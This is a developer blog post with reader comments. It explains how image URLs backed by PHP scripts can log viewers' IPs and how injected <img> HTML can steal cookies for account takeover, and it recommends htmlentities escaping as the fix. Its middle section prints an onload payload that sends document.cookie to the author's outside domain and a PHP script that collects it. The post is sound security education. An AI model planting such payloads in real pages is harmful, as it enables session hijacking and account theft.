Imagine I'm telling you how awesome it was to be tweeted about by a page on twitter, and I show you this image:
That seems innocent enough. You you've just seen me get excited about something and share an image with you. You've learned a little bit about me, but you may not realize that I've also learned a little bit about you... like potentially where you live. Is this close?
Unless you're using a VPN, that might have caught you off guard. Don't worry; I'm not storing any data about you. I'm just making a point. <img> tags can be abused to scrape data from users. Hackers can even exploit this to steal other users' online accounts without them ever having a clue. I'll show you how.
Using images to scrape viewer data
Let's look at the code for the image above:
<img src="http://nastyox.com/images/rando-js-tweet" alt="Rando.js on JavaScript Daily"/>
The dirty little secret is that there's a reason that URL is missing an image file extension at the end. It's not an image; it's a PHP file, and that PHP file grabs your IP address and has a jolly old time with it before returning some image data to mimic an image URL. It's as easy as this:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
//do whatever I want with the IP...
readfile("rando-js-tweet.png");
?>
Now, if you've ever looked into web development at all, you know that everyone and their mother grabs your IP address and uses it to track you across the web. That's not new. What gets dangerous is when you start sending other data along with the URL.
Stealing accounts
I'm not actually going to set up a live showcase for this because I believe it's illegal, but I will give you real code that hackers can actually use to steal your account- because it's important to know what you're up against when it comes to web security. Here's the code:
<img src="http://nastyox.com/images/fake-sample-url" onload="var i=0;if(i++)this.src+='?c='+encodeURIComponent(document.cookie);"/>
All this code does is call the PHP file provided in the src with document.cookie
as a parameter. If you post this code to a comment section, forum, or other platform that's not actively guarding against HTML injection, everyone that loads the image will unwittingly send their cookie data to your PHP file, which can grab the cookie data as simply as this:
<?php
$cookies = rawurldecode($_GET["c"]);
//browse your cookies for info that'll let me mimic your login...
readfile("rando-js-tweet.png");
?>
Everything you need to get into someone's account is usually stored right there in their document.cookie
. If it's not there, you can poke around in their window.localStoarge
, window.sessionStorage
, or any other client-side storage until you find what you want. This exploit requires neglect on the part of the web developer, but believe me, it happens.
A real-life example
In July of 2016, Pokemon GO hit phones across the world and gained a tremendous 45m daily active users within just two weeks. By August of that same year, players uncovered this neat little trick:
Yes, this really happened. Players were writing HTML in the names of their pokemon, and it was executing. I can't remember if you could see other players' pokemon on your device at that point or if accounts handled payment information, but you can imagine that the devs flipped out. I heard about name bolding/italicizing one night, and it was fixed the next morning.
If you just realized that you're vulnerable to this sort of attack, use htmlentities for PHP (or similar methods for other languages) to protect your users like so:
$postedText = htmlentities($postedText);
//Now, we can safely show other users this escaped text
It's just that simple. This will escape any HTML tags (including img tags) that hackers try to inject with their posted text. It's not just you that forgets to do this; it happens to the big guys too every now and then.
Oldest comments (31)
there are informations to add :
All true! Here is how people can make the URL have a fake file extension. I'd also add to the "more about this" list that people like to use this technique to track whether you've opened their emails or not.
I think a normal pixel tracker (like Facebook's) doesn't do this. It only sends it's own (Facebook's) cookies together with the request, so it doesn't need to "steal" any cookies since this is normal browser behavior (not anymore on Safari)
Nice article! Sometimes I feel like the web is just too powerful for its own good...
Good info to be aware of! Always good to know where to better check for vulnerabilities in my code
Now what worries me is that a lot of sites probably still use things that can be exploited and so could I be as a customer. It's worrying to know that you protect your software as much as possible but if you have integrations to external systems your users might get hacked through external parties. I don't know any other professions worrying so much about security while not being security branches.
Does a car mechanic care that you might leave your keys exposed to get copied? No they tell you to take care of it.
All true, but remember that the frameworks protects you when you use the proper built-in methods for it and not "as is" most of time. By the way each week vulnerabilities on frameworks are published and they can catch you by surprise.
Also a framework or language upgrade is not a minor patch sometimes, it can break up your APP so you'll need to stay tunned to your framework/s updates and vulnerabilities and patch your app the best way possible.
Let's say you have a very big python 2.x app and it becomes unsupported and the next python 3.x version is not retro-compatible so you cannot upgrade from one to another as it will cost too much time, resources and money. You'll need to manually patch every single security hole that is found on next versions by your own and it's not an easy process, that's why most companies performs passive upgrades (if a hack happens, we'll patch it). Sad but true
As far as I know these kind of things are popular or widely known by developers from the begging of 2000s and there's nothing surprising about it. No upgrade or anything regards to these kinds of attack is necessary at least not on JVM platform or any other that has well established community, maintainers, and practices. Now I know people tend to npm install everything but I don't consider them in these statements as most of those project fail or are not so big anyways.
The thing I'm discussing here is basically attack as described in the post and basically any XSS, SQL injection, CSRF, and similar. Most of the stories that I've heard is "Who would ever try it on this site" + "we don't have time for that but as soon as we finish other stuff" and then hell breaks loose.
Here's an example: "Never use local storage for JWT" and then you ask them to "hack" your web app as they're 100% it will hacked. Now they usually can't as you don't rely on all npm packages that exist nor do you keep any info in there that might be sensitive if leaked. Also you store your own stuff and don't have any img's and stuff like author said. Why? Well at least from what I've seen most of us don't create social platforms with comment features but rather closed community tools which you can't even access in some cases without VPN. I get that sometimes you need to use images from external sources but would you allow adding unverified ones that easily? Most times not.
I just wonder is it only me or is it actually like this, most people that work don't blog nor care about some stuff as they never have to deal with them like I described?
Yes totally agree, I just wanted to point out that the comfortability of frameworks are not a place to rely without doing anything extra to secure your projects and that even having some methods that we use like a ritual (real_escape_string on mysqli query params that comes from user interaction for example) it could be that day that someone forget it and it keeps on the project for months if nobody takes care of that. In fact I've been thinking for years that security methods must apply by default and if you don't want them on a given situation you must be able to avoid them specifically. This will make our life easier and avoid human errors (of course you can write tests and so but...)
I agree with that, and what you described is how most frameworks I used work. We'll at least in such popular security issues. Like take a look at Spring Data and how to query stuff. You can pass in string directly from the GET query to repository and it will apply all well known security filters. Or Micronaut or Quarkus. BTW I read recently that it's about ~80% hacks that come from indirect dependencies and I can only assume npm in that case with example of 'event-stream' incident. Those things is impossible to fix since you always rely on something and that something could go wrong just like this.
Yup, I'm on front end and we use to use custom security methods for the entry points on it, then the server takes care about the rest
Pretty Interesting!!
This is really interesting!
Interesting.
Unclean input unclean!! π₯
Nice article.
There was also something similar when using SVGs.
owasp.org/www-pdf-archive/Mario_He...
Super interesting. Thanks !